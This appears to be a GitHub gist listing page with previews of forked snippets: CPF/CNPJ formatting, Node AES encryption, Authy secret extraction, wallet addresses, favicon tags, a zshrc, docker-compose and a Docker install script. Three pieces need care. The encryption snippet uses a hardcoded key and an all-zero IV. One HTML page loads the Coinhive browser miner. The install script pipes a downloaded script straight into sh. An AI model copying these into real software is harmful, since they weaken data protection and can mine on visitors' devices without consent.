Skip to content

Instantly share code, notes, and snippets.

View maikyguanaes's full-sized avatar
🕉️
Ω

Maiky Guanaes maikyguanaes

🕉️
Ω
View GitHub Profile
@maikyguanaes
maikyguanaes / formatar_cnpj_cpf.md
Created January 24, 2024 21:06 — forked from davidalves1/formatar_cnpj_cpf.md
Função para formatar CNPJ e CPF, disponível em PHP e JS

PHP

function formatCnpjCpf($value)
{
  $CPF_LENGTH = 11;
  $cnpj_cpf = preg_replace("/\D/", '', $value);
  
  if (strlen($cnpj_cpf) === $CPF_LENGTH) {
    return preg_replace("/(\d{3})(\d{3})(\d{3})(\d{2})/", "\$1.\$2.\$3-\$4", $cnpj_cpf);
  } 
@maikyguanaes
maikyguanaes / javascript.js
Created January 11, 2024 13:42 — forked from chaintng/javascript.js
Encryption Decryption Javascript and Ruby
// IDEA FROM: https://stackoverflow.com/questions/33929712/crypto-in-nodejs-and-ruby
var crypto = require('crypto'),
algorithm = 'aes-256-cbc',
key = 'SOME_RANDOM_KEY_32_CHR_123456789', // 32 Characters
iv = "0000000000000000"; // 16 Characters
function encrypt(text){
var cipher = crypto.createCipheriv(algorithm,key,iv)
var crypted = cipher.update(text,'utf-8',"base64")

Generating Authy passwords on other authenticators


There is an increasing count of applications which use Authy for two-factor authentication. However many users who aren't using Authy, have their own authenticator setup up already and do not wish to use two applications for generating passwords.

Since I use 1Password for all of my password storing/generating needs, I was looking for a solution to use Authy passwords on that. I couldn't find any completely working solutions, however I stumbled upon a gist by Brian Hartvigsen. His post had a neat code with it to generate QR codes for you to use on your favorite authenticator.

His method is to extract the secret keys using Authy's Google Chrome app via Developer Tools. If this was not possible, I guess people would be reverse engineering the Android app or something like that. But when I tried that code, nothing appeared on the screen. My guess is that Brian used the

Wallets:
Binance:
BTC - 19ASxVrgG3EAZp77uj11nDtg8Gfkr8kjer
ETH - 0x93b40bf2463f8f40a2b41c67aed659443bd24f90
ETC - 0x93b40bf2463f8f40a2b41c67aed659443bd24f90
RNV - RPzMdWD4o1mLy5jF8Migc3FwjmGaNT398B
LTC - LdYK1p15JgZD6cHYSupWxEueXjM4H6uaWh
BEAM - 3df2cfc388390e483dfa554da1ef185289c4b566093f011861cd81da8fc0225fc81
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script type="text/javascript">
@maikyguanaes
maikyguanaes / meta-tags-favicon.html
Created October 2, 2017 02:29 — forked from dscamahorn/meta-tags-favicon.html
Favicon, touch/web clip, tile and pin configuration. Includes Chrome for Android address bar background color (theme-color).
<!--Favicon-->
<link rel="shortcut icon" type="image/ico" href="favicon.ico" />
<!--Tile-->
<meta name="application-name" content="System Name"/>
<meta name="msapplication-TileColor" content="#000"/>
<meta name="msapplication-square70x70logo" content="tile-tiny.png"/>
<meta name="msapplication-square150x150logo" content="tile-square.png"/>
<meta name="msapplication-wide310x150logo" content="tile-wide.png"/>
<meta name="msapplication-square310x310logo" content="tile-large.png"/>
<!--Pin-->
@maikyguanaes
maikyguanaes / Custom Browsers Color.html
Created October 2, 2017 02:29 — forked from ka-seo/Custom Browsers Color.html
Set color toolbar in mobile browsers
<!-- Insert in head -->
<!-- Custom Browsers Color Start -->
<!-- Chrome, Firefox OS and Opera -->
<meta name="theme-color" content="#000">
<!-- Windows Phone -->
<meta name="msapplication-navbutton-color" content="#000">
<!-- iOS Safari -->
<meta name="apple-mobile-web-app-status-bar-style" content="#000">
<!-- Custom Browsers Color End -->
# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH
# Path to your oh-my-zsh installation.
export ZSH=$HOME/.oh-my-zsh
# Set name of the theme to load. Optionally, if you set this to "random"
# it'll load a random theme each time that oh-my-zsh is loaded.
# See https://github.com/robbyrussell/oh-my-zsh/wiki/Themes
ZSH_THEME="powerlevel9k/powerlevel9k"
# v3 syntax
version: '3'
services:
# PHP (with NGNIX)
leroy-api:
image: ambientum/php-alpine:7.1-nginx
container_name: leroy-api
volumes:
- .:/var/www/app
#!/bin/bash
# Install the latest version Docker
sudo curl -fsSL https://get.docker.com/ | sh
# Check if docker is started
sudo docker --version
# Check if docker is started
sudo /etc/init.d/docker status
# If console returns docker stop/waitind
sudo /etc/init.d/docker start
# Add your user to the docker group